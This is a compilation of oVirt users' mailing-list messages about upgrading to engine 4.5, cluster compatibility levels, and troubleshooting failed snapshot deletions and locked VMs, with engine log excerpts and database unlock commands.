WARNING: Device /dev/mapper/36589cfc004b7c76d143cdc41ac27 has size of 15032385536 sectors which is smaller than corresponding PV size of 19756323200 sectors. Was device resized?', '  WARNING: One or more devices used as PVs in VG cf819cb9-a51f-4b7a-baf6-a2a472aae6da have changed sizes.'] (lvm:358)
2022-09-06 09:47:02,407+0200 INFO  (jsonrpc/5) [api.virt] START getStats() from=::1,39940, vmId=0c418190-42da-42fe-a992-dbb83a364b93 (api:48)
2022-09-06 09:47:02,408+0200 INFO  (jsonrpc/5) [api] FINISH getStats error=Virtual machine does not exist: {'vmId': '0c418190-42da-42fe-a992-dbb83a364b93'} (api:129)
2022-09-06 09:47:02,408+0200 INFO  (jsonrpc/5) [api.virt] FINISH getStats return={'status': {'code': 1, 'message': 

[ovirt-users] Re: Q: Engione 4.4.10 and New Host on CentOS Stream 9

[Jirka Simon]

OK  thank you for clarification

Diky Martine.


Jirka

On 8/31/22 15:34, Martin Perina wrote:

Hi,

As mentioned to run oVirt Engine 4.5 you need at least on EL8.6 or CS8 
machine. Then you can create DataCenter with compatibility level 4.2, 
where you can create 4.2 cluster.


Martin

On Wed, 31 Aug 2022, 14:41 Jirka Simon,  wrote:

Hi Martin,

then I'm a bit confused :D in ovirt doc is  written.

see

https://www.ovirt.org/documentation/upgrade_guide/#Upgrading_the_Manager_to_4-5_4-4_local_db
and when I have a fresh oVirt4.5 installation there is cluster
compatibility version 4.2 not available.

Jirka

On 8/29/22 16:27, Martin Perina wrote:

Hi,

you are mixing 2 unrelated versioning parts:

1. Supported cluster levels
- oVirt Engine 4.5 supports cluster level 4.2 - 4.7

https://github.com/oVirt/ovirt-engine/blob/master/backend/manager/modules/compat/src/main/java/org/ovirt/engine/core/compat/Version.java#L22
- This means that both EL7 based (4.2 and 4.3) and EL8 based
(4.4-4.7) hosts can be successfully managed by oVirtEngine 4.5

2. OS requirements of oVirt Engine 4.5
- oVirt Engine 4.5 is supported only on EL 8.6+ and CS8 stream
- This means that:
    - for standalone engine you need to have a machine with EL8.6
or CS8
      - for hosted engine you need to have a cluster with EL8.6
or CS8 hosts, where hosted engine VM based on E8.6 or CS8 can run

So specifically for your use case you need:

1. Standalone engine 4.5 running on EL8.6 or CS8, which can
manage 4.2 hosts in 4.2 cluster
2. Hosted engine 4.5 running on cluster of EL8.6 or CS8 hosts
with additional (different) 4.2 cluster, where your 4.2 hosts reside

Regards,
Martin


On Mon, Aug 29, 2022 at 2:43 PM Jirka Simon  wrote:

Hi Andrei,

ovirt 4.4+ has to run with centos/ rhel 8, I would not
recommend mix
versions of ovirt node version within one cluster. (there
couldbe / will
be a problem with vdsm version on each node)

And yes cluster compatibility version number doesn't match 
ovirt version.

I would recommend to try to remove the oldest node from the
cluster (if
upu have some spare nodes) and try to reinstall it to centos
8 or 9 with
standalone engine for test if it works or not.

Jirka

On 8/29/22 14:26, Andrei Verovski wrote:
> Hi,
>
> My oldest nodes are version 4.2 on CentOS 7.6.
> What is the latest cluster compatibility level they support?
> Looks like oVirt Engine version and cluster compatibility
level do not match number to number, e.g. my oVirt engine
4.4.10 seems can set cluster compatibility level up to 4.6.
>
> Someone from Red Hat, please clarify.
> Thanks in advance.
>
>
    >> On 29 Aug 2022, at 15:09, Jirka Simon  wrote:
>>
>> Hi Andrei,
>>
>> as I know,  you need to have to have your cluster with at
least 4.3 version to migrate to 4.5. I was facing the same 
problem with (not so) old hardware. and i started to do step
by step migration.
>>
>> it means i created new cluster with fresh configuration
with ovirt 4.5  and cluster compatibility version 4.7 next to
old one with 4.4.   Iit is a good opportunity to prepare
whole cluster configuration in ansible for me :D
>>
>> Then I migrate VMs one by one from old cluster to the new
one. When is one node free on old cluster I reinstall it and
add to new cluster.
>>
>> Maybe it is not the fastest solution, but i can arrange
maintenance for each VM.
>>
>> Jirka
>>
>> On 8/29/22 10:13, Andrei Verovski wrote:
>>> Hi,
>>>
>>> I have cluster compatibility version 4.2, due to some old
nodes.
>>>  From what I remember in oVirt 4.5 release notes (correct
please, may be wrong here), oVirt engine 4.5 requires cluster
compatibility version >= 4.3.
>>> Please clarify. Thanks.
>>>
>>>
>>>>> On 28. 8. 2022, at 18:52, Andrei Verovski
 wrote:
>>>>>
>>>>> Hi,
>>>>>
>>>>> I have engine version 4.4.10.7-1.el8, is it possible to
set up new node host on CentOS Stream 9, or I need to upgrade
engine to version 4.5 first (which is not right now possible
because of some quite old nodes) ?
>>>> yes, you generally need the latest version
>>>

[ovirt-users] Re: Q: Engione 4.4.10 and New Host on CentOS Stream 9

[Jirka Simon]

Hi Martin,

then I'm a bit confused :D in ovirt doc is  written.

see 
https://www.ovirt.org/documentation/upgrade_guide/#Upgrading_the_Manager_to_4-5_4-4_local_db
and when I have a fresh oVirt4.5 installation there is cluster 
compatibility version 4.2 not available.


Jirka

On 8/29/22 16:27, Martin Perina wrote:

Hi,

you are mixing 2 unrelated versioning parts:

1. Supported cluster levels
    - oVirt Engine 4.5 supports cluster level 4.2 - 4.7
https://github.com/oVirt/ovirt-engine/blob/master/backend/manager/modules/compat/src/main/java/org/ovirt/engine/core/compat/Version.java#L22
    - This means that both EL7 based (4.2 and 4.3) and EL8 based 
(4.4-4.7) hosts can be successfully managed by oVirtEngine 4.5


2. OS requirements of oVirt Engine 4.5
    - oVirt Engine 4.5 is supported only on EL 8.6+ and CS8 stream
    - This means that:
        - for standalone engine you need to have a machine with EL8.6 
or CS8
        - for hosted engine you need to have a cluster with EL8.6 or 
CS8 hosts, where hosted engine VM based on E8.6 or CS8 can run


So specifically for your use case you need:

1. Standalone engine 4.5 running on EL8.6 or CS8, which can manage 4.2 
hosts in 4.2 cluster
2. Hosted engine 4.5 running on cluster of EL8.6 or CS8 hosts with 
additional (different) 4.2 cluster, where your 4.2 hosts reside


Regards,
Martin


On Mon, Aug 29, 2022 at 2:43 PM Jirka Simon  wrote:

Hi Andrei,

ovirt 4.4+ has to run with centos/ rhel 8, I would not recommend mix
versions of ovirt node version within one cluster. (there couldbe
/ will
be a problem with vdsm version on each node)

And yes cluster compatibility version number doesn't match ovirt
version.

I would recommend to try to remove the oldest node from the
cluster (if
upu have some spare nodes) and try to reinstall it to centos 8 or
9 with
standalone engine for test if it works or not.

Jirka

On 8/29/22 14:26, Andrei Verovski wrote:
> Hi,
>
> My oldest nodes are version 4.2 on CentOS 7.6.
> What is the latest cluster compatibility level they support?
> Looks like oVirt Engine version and cluster compatibility level
do not match number to number, e.g. my oVirt engine 4.4.10 seems
can set cluster compatibility level up to 4.6.
>
> Someone from Red Hat, please clarify.
> Thanks in advance.
>
>
>> On 29 Aug 2022, at 15:09, Jirka Simon  wrote:
>>
>> Hi Andrei,
>>
>> as I know,  you need to have to have your cluster with at least
4.3 version to migrate to 4.5. I was facing the same  problem with
(not so) old hardware. and i started to do step by step migration.
>>
>> it means i created new cluster with fresh configuration with
ovirt 4.5  and cluster compatibility version 4.7 next to old one
with 4.4.   Iit is a good opportunity to prepare whole cluster
configuration in ansible for me :D
>>
>> Then I migrate VMs one by one from old cluster to the new one.
When is one node free on old cluster I reinstall it and add to new
cluster.
>>
>> Maybe it is not the fastest solution, but i can arrange
maintenance for each VM.
>>
>> Jirka
>>
>> On 8/29/22 10:13, Andrei Verovski wrote:
>>> Hi,
>>>
>>> I have cluster compatibility version 4.2, due to some old nodes.
>>>  From what I remember in oVirt 4.5 release notes (correct
please, may be wrong here), oVirt engine 4.5 requires cluster
compatibility version >= 4.3.
>>> Please clarify. Thanks.
>>>
>>>
>>>>> On 28. 8. 2022, at 18:52, Andrei Verovski
 wrote:
>>>>>
>>>>> Hi,
>>>>>
>>>>> I have engine version 4.4.10.7-1.el8, is it possible to set
up new node host on CentOS Stream 9, or I need to upgrade engine
to version 4.5 first (which is not right now possible because of
some quite old nodes) ?
>>>> yes, you generally need the latest version
>>>> You can keep your old nodes old, 4.2 based nodes are still
working with 4.5
>>>>
>>>>> Thanks
>>>>> Andrei
>>>>> ___
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[ovirt-users] Re: Q: Engione 4.4.10 and New Host on CentOS Stream 9

[Jirka Simon]

Hi Andrei,

ovirt 4.4+ has to run with centos/ rhel 8, I would not recommend mix 
versions of ovirt node version within one cluster. (there couldbe / will 
be a problem with vdsm version on each node)


And yes cluster compatibility version number doesn't match  ovirt version.

I would recommend to try to remove the oldest node from the cluster (if 
upu have some spare nodes) and try to reinstall it to centos 8 or 9 with 
standalone engine for test if it works or not.


Jirka

On 8/29/22 14:26, Andrei Verovski wrote:

Hi,

My oldest nodes are version 4.2 on CentOS 7.6.
What is the latest cluster compatibility level they support?
Looks like oVirt Engine version and cluster compatibility level do not match 
number to number, e.g. my oVirt engine 4.4.10 seems can set cluster 
compatibility level up to 4.6.

Someone from Red Hat, please clarify.
Thanks in advance.



On 29 Aug 2022, at 15:09, Jirka Simon  wrote:

Hi Andrei,

as I know,  you need to have to have your cluster with at least 4.3 version to 
migrate to 4.5. I was facing the same  problem with (not so) old hardware. and 
i started to do step by step migration.

it means i created new cluster with fresh configuration with ovirt 4.5  and 
cluster compatibility version 4.7 next to old one with 4.4.   Iit is a good 
opportunity to prepare whole cluster configuration in ansible for me :D

Then I migrate VMs one by one from old cluster to the new one. When is one node 
free on old cluster I reinstall it and add to new cluster.

Maybe it is not the fastest solution, but i can arrange maintenance for each VM.

Jirka

On 8/29/22 10:13, Andrei Verovski wrote:

Hi,

I have cluster compatibility version 4.2, due to some old nodes.
 From what I remember in oVirt 4.5 release notes (correct please, may be wrong 
here), oVirt engine 4.5 requires cluster compatibility version >= 4.3.
Please clarify. Thanks.



On 28. 8. 2022, at 18:52, Andrei Verovski  wrote:

Hi,

I have engine version 4.4.10.7-1.el8, is it possible to set up new node host on 
CentOS Stream 9, or I need to upgrade engine to version 4.5 first (which is not 
right now possible because of some quite old nodes) ?

yes, you generally need the latest version
You can keep your old nodes old, 4.2 based nodes are still working with 4.5


Thanks
Andrei
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[ovirt-users] Re: Q: Engione 4.4.10 and New Host on CentOS Stream 9

[Jirka Simon]

Hi Andrei,

as I know,  you need to have to have your cluster with at least 4.3 
version to migrate to 4.5. I was facing the same  problem with (not so) 
old hardware. and i started to do step by step migration.


it means i created new cluster with fresh configuration with ovirt 4.5  
and cluster compatibility version 4.7 next to old one with 4.4.   Iit is 
a good opportunity to prepare whole cluster configuration in ansible for 
me :D


Then I migrate VMs one by one from old cluster to the new one. When is 
one node free on old cluster I reinstall it and add to new cluster.


Maybe it is not the fastest solution, but i can arrange maintenance for 
each VM.


Jirka

On 8/29/22 10:13, Andrei Verovski wrote:

Hi,

I have cluster compatibility version 4.2, due to some old nodes.
 From what I remember in oVirt 4.5 release notes (correct please, may be wrong 
here), oVirt engine 4.5 requires cluster compatibility version >= 4.3.
Please clarify. Thanks.



On 28. 8. 2022, at 18:52, Andrei Verovski  wrote:

Hi,

I have engine version 4.4.10.7-1.el8, is it possible to set up new node host on 
CentOS Stream 9, or I need to upgrade engine to version 4.5 first (which is not 
right now possible because of some quite old nodes) ?

yes, you generally need the latest version
You can keep your old nodes old, 4.2 based nodes are still working with 4.5


Thanks
Andrei
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[ovirt-users] Re: Q: Engione 4.4.10 and New Host on CentOS Stream 9

[Jirka Simon]

Hello Andrei,

as I know,  you need to have to have your cluster with at least 4.3 
version to migrate to 4.5. I was facing the same  problem with (not so) 
old hardware. and i started to do step by step migration.


it means i created new cluster with fresh configuration with ovirt 4.5  
and cluster compatibility version 4.7 next to old one with 4.4.   Iit is 
a good opportunity to prepare whole cluster configuration in ansible for 
me :D


Then I migrate VMs one by one from old cluster to the new one. When is 
one node free on old cluster I reinstall it and add to new cluster.


Maybe it is not the fastest solution, but i can arrange maintenance for 
each VM.


Jirka


On 8/29/22 10:13, Andrei Verovski wrote:

Hi,

I have cluster compatibility version 4.2, due to some old nodes.
 From what I remember in oVirt 4.5 release notes (correct please, may be wrong 
here), oVirt engine 4.5 requires cluster compatibility version >= 4.3.
Please clarify. Thanks.



On 28. 8. 2022, at 18:52, Andrei Verovski  wrote:

Hi,

I have engine version 4.4.10.7-1.el8, is it possible to set up new node host on 
CentOS Stream 9, or I need to upgrade engine to version 4.5 first (which is not 
right now possible because of some quite old nodes) ?

yes, you generally need the latest version
You can keep your old nodes old, 4.2 based nodes are still working with 4.5


Thanks
Andrei
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[ovirt-users] Re: Failed to delete snapshot

[Jirka Simon]

Hello Sven,

Please do you have any details about it? Like bug report od knowledge 
base or article ?   We have ovit and vprotect as well and our troubles 
started after last update of ovirt 4.4 ( frozen vm with snapshot crating 
job, then after unlock some snapshots is not possible to delete.)  And 
now I'm preparing upgrade to 4.5.2 Yesterday we upgraded vProtect to the 
latest version.


Thank you for any detail.


Jirka

On 8/24/22 15:20, Sven Jansen via Users wrote:

We are currently sitting on a not really working backup solution. oVirt 4.5.x 
has constant issues removing snapshots, same like OP. vProtect with Snapshots 
has issues with oVirt deleting snapshots. vProtect 5.1 has broken CBT with 
oVirt 4.5.x.

vProtect support tells us that the snapshot issues is in oVirt (true) and CBT 
is a preview feature not really supported. So currently vProtect 5.1 and oVirt 
4.5 is a no go solution. We are thinking going to xcp-ng due to constant issues 
with oVirt and or vProtect.
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[ovirt-users] Re: Failed to delete snapshot

[Jirka Simon]

Hi,

I use latest release of 4.4

and it started afret last upgrade to 4.4.10-7.

@Andrei, yes we use vProtect for  backups.

Jirka

On 8/23/22 11:27, Michal Skrivanek wrote:




On 23. 8. 2022, at 10:53, Andrei Verovski  wrote:

Hi,

I had same problem with VM of our accounting / stock control system, 
which is a top priority which can’t be down no matter what.


Solution: Make a new snapshot on problematic VM, then make a new VM 
from that snapshot. This is only a workaround I found so far.


Make sure you run latest version, there were plenty of live merge bugs 
solved in the last months.
Also if you're using vProtect you can likely use the new incremental 
backup(CBT) feature, that avoids all the snapshotting in the first place.







On 23 Aug 2022, at 10:50, Jirka Simon  wrote:

Hello there.

we have troubles with one VM ad it's snapshot

here is  short log  from engine.log

2022-08-23 09:02:38,735+02 INFO 
 [org.ovirt.engine.core.bll.tasks.CommandAsyncTask] 
(EE-ManagedThreadFactory-engine-Thread-1265784) 
[4d79272b-ffac-4b2b-a987-8c19577cd8c4] CommandAsyncTask::
HandleEndActionResult [within thread]: Removing 
CommandMultiAsyncTasks object for entity 
'5842cafc-60d4-4131-8da1-8a909123f08c'
2022-08-23 09:02:41,435+02 ERROR 
[org.ovirt.engine.core.bll.snapshots.RemoveSnapshotSingleDiskLiveCommand] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-68) 
[4d79272b
-ffac-4b2b-a987-8c19577cd8c4] Command id: 
'ead3fbba-7439-4337-8aaf-1d6cf65bbb15 failed child command status 
for step 'REDUCE_IMAGE'
2022-08-23 09:02:41,435+02 INFO 
 [org.ovirt.engine.core.bll.snapshots.RemoveSnapshotSingleDiskLiveCommandCallback] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-68) 
[
4d79272b-ffac-4b2b-a987-8c19577cd8c4] Command 
'RemoveSnapshotSingleDiskLive' id: 
'ead3fbba-7439-4337-8aaf-1d6cf65bbb15' child commands 
'[5b33d970-6ea0-4b8b-bc31-607afd8af1ca, 185d3fec-8c76-
44d3-a0a1-fe8fff331354, 308baf9d-1fc5-43a1-a624-b5f08f7bec1b, 
f11f3550-4356-417e-af10-a3afb2051dec, 
5842cafc-60d4-4131-8da1-8a909123f08c]' executions were completed, 
status 'FAILED'
2022-08-23 09:02:42,445+02 ERROR 
[org.ovirt.engine.core.bll.snapshots.RemoveSnapshotSingleDiskLiveCommand] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-79) 
[4d79272b
-ffac-4b2b-a987-8c19577cd8c4] Merging of snapshot 
'6634db4e-23d8-4849-a008-864f15d28c3d' images 
'd24a9199-741b-49cb-96d2-0d76fcd21f48'..'48af3301-0cbb-4a6e-97d1-7299e7de883f' 
failed. Images
have been marked illegal and can no longer be previewed or reverted 
to. Please retry Live Merge on the snapshot to complete the operation.
2022-08-23 09:02:42,451+02 ERROR 
[org.ovirt.engine.core.bll.snapshots.RemoveSnapshotSingleDiskLiveCommand] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-79) 
[4d79272b
-ffac-4b2b-a987-8c19577cd8c4] Ending command 
'org.ovirt.engine.core.bll.snapshots.RemoveSnapshotSingleDiskLiveCommand' 
with failure.
2022-08-23 09:02:42,457+02 INFO 
 [org.ovirt.engine.core.bll.ConcurrentChildCommandsExecutionCallback] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-79) 
[4d79272b-ffac
-4b2b-a987-8c19577cd8c4] Command 'RemoveSnapshot' id: 
'73340ac8-07d7-4de2-bfeb-8062fa1e8cfd' child commands 
'[ead3fbba-7439-4337-8aaf-1d6cf65bbb15]' executions were completed, 
status 'FAILE

D'
2022-08-23 09:02:43,470+02 ERROR 
[org.ovirt.engine.core.bll.snapshots.RemoveSnapshotCommand] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-22) 
[4d79272b-ffac-4b2b-a98
7-8c19577cd8c4] Ending command 
'org.ovirt.engine.core.bll.snapshots.RemoveSnapshotCommand' with 
failure.
2022-08-23 09:02:43,490+02 ERROR 
[org.ovirt.engine.core.dal.dbbroker.auditloghandling.AuditLogDirector] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-22) 
[4d79272b-ff
ac-4b2b-a987-8c19577cd8c4] EVENT_ID: 
USER_REMOVE_SNAPSHOT_FINISHED_FAILURE(357), Failed to delete 
snapshot 'vProtect 2022-08-05 22:33:44.088143' for VM 
'web1.wiki.prod.hq.sldev.cz <http://wiki.prod.hq.sldev.cz/>-2'.



Snapshot can't be deleted, and VM is not possible to clone.


thank you for any help.


Jirka

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[ovirt-users] Failed to delete snapshot

[Jirka Simon]

Hello there.

we have troubles with one VM ad it's snapshot

here is  short log  from engine.log

2022-08-23 09:02:38,735+02 INFO 
 [org.ovirt.engine.core.bll.tasks.CommandAsyncTask] 
(EE-ManagedThreadFactory-engine-Thread-1265784) 
[4d79272b-ffac-4b2b-a987-8c19577cd8c4] CommandAsyncTask::
HandleEndActionResult [within thread]: Removing CommandMultiAsyncTasks 
object for entity '5842cafc-60d4-4131-8da1-8a909123f08c'
2022-08-23 09:02:41,435+02 ERROR 
[org.ovirt.engine.core.bll.snapshots.RemoveSnapshotSingleDiskLiveCommand] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-68) 
[4d79272b
-ffac-4b2b-a987-8c19577cd8c4] Command id: 
'ead3fbba-7439-4337-8aaf-1d6cf65bbb15 failed child command status for 
step 'REDUCE_IMAGE'
2022-08-23 09:02:41,435+02 INFO 
 [org.ovirt.engine.core.bll.snapshots.RemoveSnapshotSingleDiskLiveCommandCallback] (EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-68) [
4d79272b-ffac-4b2b-a987-8c19577cd8c4] Command 
'RemoveSnapshotSingleDiskLive' id: 
'ead3fbba-7439-4337-8aaf-1d6cf65bbb15' child commands 
'[5b33d970-6ea0-4b8b-bc31-607afd8af1ca, 185d3fec-8c76-
44d3-a0a1-fe8fff331354, 308baf9d-1fc5-43a1-a624-b5f08f7bec1b, 
f11f3550-4356-417e-af10-a3afb2051dec, 
5842cafc-60d4-4131-8da1-8a909123f08c]' executions were completed, status 
'FAILED'
2022-08-23 09:02:42,445+02 ERROR 
[org.ovirt.engine.core.bll.snapshots.RemoveSnapshotSingleDiskLiveCommand] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-79) 
[4d79272b
-ffac-4b2b-a987-8c19577cd8c4] Merging of snapshot 
'6634db4e-23d8-4849-a008-864f15d28c3d' images 
'd24a9199-741b-49cb-96d2-0d76fcd21f48'..'48af3301-0cbb-4a6e-97d1-7299e7de883f' 
failed. Images
have been marked illegal and can no longer be previewed or reverted to. 
Please retry Live Merge on the snapshot to complete the operation.
2022-08-23 09:02:42,451+02 ERROR 
[org.ovirt.engine.core.bll.snapshots.RemoveSnapshotSingleDiskLiveCommand] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-79) 
[4d79272b
-ffac-4b2b-a987-8c19577cd8c4] Ending command 
'org.ovirt.engine.core.bll.snapshots.RemoveSnapshotSingleDiskLiveCommand' 
with failure.
2022-08-23 09:02:42,457+02 INFO 
 [org.ovirt.engine.core.bll.ConcurrentChildCommandsExecutionCallback] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-79) 
[4d79272b-ffac
-4b2b-a987-8c19577cd8c4] Command 'RemoveSnapshot' id: 
'73340ac8-07d7-4de2-bfeb-8062fa1e8cfd' child commands 
'[ead3fbba-7439-4337-8aaf-1d6cf65bbb15]' executions were completed, 
status 'FAILE

D'
2022-08-23 09:02:43,470+02 ERROR 
[org.ovirt.engine.core.bll.snapshots.RemoveSnapshotCommand] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-22) 
[4d79272b-ffac-4b2b-a98
7-8c19577cd8c4] Ending command 
'org.ovirt.engine.core.bll.snapshots.RemoveSnapshotCommand' with failure.
2022-08-23 09:02:43,490+02 ERROR 
[org.ovirt.engine.core.dal.dbbroker.auditloghandling.AuditLogDirector] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-22) 
[4d79272b-ff
ac-4b2b-a987-8c19577cd8c4] EVENT_ID: 
USER_REMOVE_SNAPSHOT_FINISHED_FAILURE(357), Failed to delete snapshot 
'vProtect 2022-08-05 22:33:44.088143' for VM 'web1.wiki.prod.hq.sldev.cz-2'.



Snapshot can't be deleted, and VM is not possible to clone.


thank you for any help.


Jirka
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[ovirt-users] Re: Q: How to fix ghost "locked" status of VM

[Jirka Simon]

Hi Andrei

have you cecked locked entries here ?

/usr/share/ovirt-engine/setup/dbutils/unlock_entity.sh -t all  -qc

it helped to me to unlock snapshots and disks and then restart VM.  but 
yes, there is a chance to damage VM,



Jirka

On 8/8/22 08:33, Andrei Verovski wrote:

HI,

OK, how to properly remove this lock? Right now VM is locked and is 
unmanageable at all in any way.
I suppose its with some SQL commands in Postgres.

Thanks.



On 5 Aug 2022, at 11:34, Benny Zlotnik  wrote:

So based on your logs the lock you are seeing is a memory lock,
unlock_entity.sh can't really help with these.
Also, the job table is used mainly for presentation so removing an
entry from will not help.

Do you have the logs from when this snapshot operation started, you
can use the correlation id (28353fa0-5e36-4fe8-8609-e74cd1da6d36) to
search? Also, do you have the vdsm logs (SPM at the time and the host
running the VM), same correlation id can be used for this as well

The table that's used to coordinate this is command_entities, so in
theory removing the entries with this correlation id can help, but I'd
like to see what led to this first

On Fri, Aug 5, 2022 at 8:37 AM Andrei Verovski  wrote:

Hi, Benny,

I have sent log on your mailbox, its too big to post here on mailing list.

Looks like ghost task is still running, anything else need to be removed from 
Postgres DB?

BTW, frozen dead snapshot is in invalid state, is there any way to get rid of 
it? I think it's actually exists, but due to invalid state its not possible to 
do anything with it.


——

Log file still shows zombie task:

2022-08-04 20:57:30,145+03 INFO  
[org.ovirt.engine.core.bll.SerialChildCommandsExecutionCallback] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-24) 
[28353fa0-5e36-4fe8-8609-e74cd1da6d36] Command 'CreateSnapshotForVm' (id: 
'2f8b32d8-fd3c-46c9-90e9-4863d63c0530') waiting on child command id: 
'ed816f9d-e25c-4b58-8c8f-fd0393abda2f' type:'CreateLiveSnapshotForVm' to 
complete
2022-08-04 20:57:40,176+03 INFO  
[org.ovirt.engine.core.bll.SerialChildCommandsExecutionCallback] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-85) 
[28353fa0-5e36-4fe8-8609-e74cd1da6d36] Command 'CreateSnapshotForVm' (id: 
'2f8b32d8-fd3c-46c9-90e9-4863d63c0530') waiting on child command id: 
'ed816f9d-e25c-4b58-8c8f-fd0393abda2f' type:'CreateLiveSnapshotForVm' to 
complete
2022-08-04 20:57:50,252+03 INFO  
[org.ovirt.engine.core.bll.SerialChildCommandsExecutionCallback] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-66) 
[28353fa0-5e36-4fe8-8609-e74cd1da6d36] Command 'CreateSnapshotForVm' (id: 
'2f8b32d8-fd3c-46c9-90e9-4863d63c0530') waiting on child command id: 
'ed816f9d-e25c-4b58-8c8f-fd0393abda2f' type:'CreateLiveSnapshotForVm' to 
complete



On 4 Aug 2022, at 19:06, Benny Zlotnik  wrote:

can you share the logs after restarting ovirt-engine?

On Thu, Aug 4, 2022 at 4:58 PM Andrei Verovski  wrote:

Hi,


Creating snapshot of one of the VM vailed, and zombie tasks was killed with:

su postgres
psql -d engine -U postgres
select * from job order by start_time desc;

select DeleteJob('UUID_FROZEN_TASK_ID’);


However, VM remains in locked state (with lock sign left-below red “DOWN” arrow 
in status column of web interface.

I run:
/usr/share/ovirt-engine/setup/dbutils/unlock_entity.sh -t all

then rebooted engine VM, still no luck. Can’t do anything with that VM.

Please advise how to fix.
Thanks in advance.
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[ovirt-users] Re: Q: How to fix ghost "locked" status of VM

[Jirka Simon]

Hi Benny, so we have the same problem last 2 days.

there are two affected VMs (furtunately not more) and we cant start any 
snapshot  for these VMS.


it looks that the snapshot haven't start yet , then to unlock objects 
(snapshot and disk) shouldn't damage disk (i tried it on both VMS), then 
i restarted them and VMS run again. I made clone from one of them ant 
the clone works properly.



Jirka

On 8/5/22 10:34, Benny Zlotnik wrote:

So based on your logs the lock you are seeing is a memory lock,
unlock_entity.sh can't really help with these.
Also, the job table is used mainly for presentation so removing an
entry from will not help.

Do you have the logs from when this snapshot operation started, you
can use the correlation id (28353fa0-5e36-4fe8-8609-e74cd1da6d36) to
search? Also, do you have the vdsm logs (SPM at the time and the host
running the VM), same correlation id can be used for this as well

The table that's used to coordinate this is command_entities, so in
theory removing the entries with this correlation id can help, but I'd
like to see what led to this first

On Fri, Aug 5, 2022 at 8:37 AM Andrei Verovski  wrote:

Hi, Benny,

I have sent log on your mailbox, its too big to post here on mailing list.

Looks like ghost task is still running, anything else need to be removed from 
Postgres DB?

BTW, frozen dead snapshot is in invalid state, is there any way to get rid of 
it? I think it's actually exists, but due to invalid state its not possible to 
do anything with it.


——

Log file still shows zombie task:

2022-08-04 20:57:30,145+03 INFO  
[org.ovirt.engine.core.bll.SerialChildCommandsExecutionCallback] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-24) 
[28353fa0-5e36-4fe8-8609-e74cd1da6d36] Command 'CreateSnapshotForVm' (id: 
'2f8b32d8-fd3c-46c9-90e9-4863d63c0530') waiting on child command id: 
'ed816f9d-e25c-4b58-8c8f-fd0393abda2f' type:'CreateLiveSnapshotForVm' to 
complete
2022-08-04 20:57:40,176+03 INFO  
[org.ovirt.engine.core.bll.SerialChildCommandsExecutionCallback] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-85) 
[28353fa0-5e36-4fe8-8609-e74cd1da6d36] Command 'CreateSnapshotForVm' (id: 
'2f8b32d8-fd3c-46c9-90e9-4863d63c0530') waiting on child command id: 
'ed816f9d-e25c-4b58-8c8f-fd0393abda2f' type:'CreateLiveSnapshotForVm' to 
complete
2022-08-04 20:57:50,252+03 INFO  
[org.ovirt.engine.core.bll.SerialChildCommandsExecutionCallback] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-66) 
[28353fa0-5e36-4fe8-8609-e74cd1da6d36] Command 'CreateSnapshotForVm' (id: 
'2f8b32d8-fd3c-46c9-90e9-4863d63c0530') waiting on child command id: 
'ed816f9d-e25c-4b58-8c8f-fd0393abda2f' type:'CreateLiveSnapshotForVm' to 
complete



On 4 Aug 2022, at 19:06, Benny Zlotnik  wrote:

can you share the logs after restarting ovirt-engine?

On Thu, Aug 4, 2022 at 4:58 PM Andrei Verovski  wrote:

Hi,


Creating snapshot of one of the VM vailed, and zombie tasks was killed with:

su postgres
psql -d engine -U postgres
select * from job order by start_time desc;

select DeleteJob('UUID_FROZEN_TASK_ID’);


However, VM remains in locked state (with lock sign left-below red “DOWN” arrow 
in status column of web interface.

I run:
/usr/share/ovirt-engine/setup/dbutils/unlock_entity.sh -t all

then rebooted engine VM, still no luck. Can’t do anything with that VM.

Please advise how to fix.
Thanks in advance.
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[ovirt-users] Re: VM snapshot stuck

[Jirka Simon]

Hi  Andrei, thank you.

I'm going to check it.

Jirka

On 8/5/22 10:02, Andrei Verovski wrote:

Hi,

I had similar problem, see my posts for last 2 days, already submitted log to 
Benny Zlotnik.



On 5 Aug 2022, at 10:52, Jirka Simon  wrote:

Hello Ovirt folks,

last two days we have troubles with stuck snapshot task on some vms. and VM is 
frozen and unresponsible.

task progress is still null

I can unlock it with command unlock_entity.sh but VM stays frozen.  and VM has 
to be  force powered down and started again

in engine log i can see only  that master job is waiting for an other job.

oVirt  Version 4.4.10.7-1.el8

OS Rocky Linux 8.6
last full update was last week on Thurstday

Log:
2022-08-05 09:10:05,461+02 INFO 
[org.ovirt.engine.core.bll.SerialChildCommandsExecutionCallback] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-35) 
[8ff04bca-b5a2-4ba3-8925-1037c5a2850e] Command 'CreateSnapshotForVm' (id: 
'93f98c9c-2936-4615-b12e-c295b90eace0') waiting on child command id: 
'2f94c337-487e-40f7-b8f8-df69225d5c79' type:'CreateLiveSnapshotForVm' to 
complete
2022-08-05 09:10:05,462+02 INFO 
[org.ovirt.engine.core.vdsbroker.vdsbroker.GetHostJobsVDSCommand] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-35) 
[8ff04bca-b5a2-4ba3-8925-1037c5a2850e] START, GetHostJobsVDSCommand(HostName = 
ovirt3.corp.sldev.cz, 
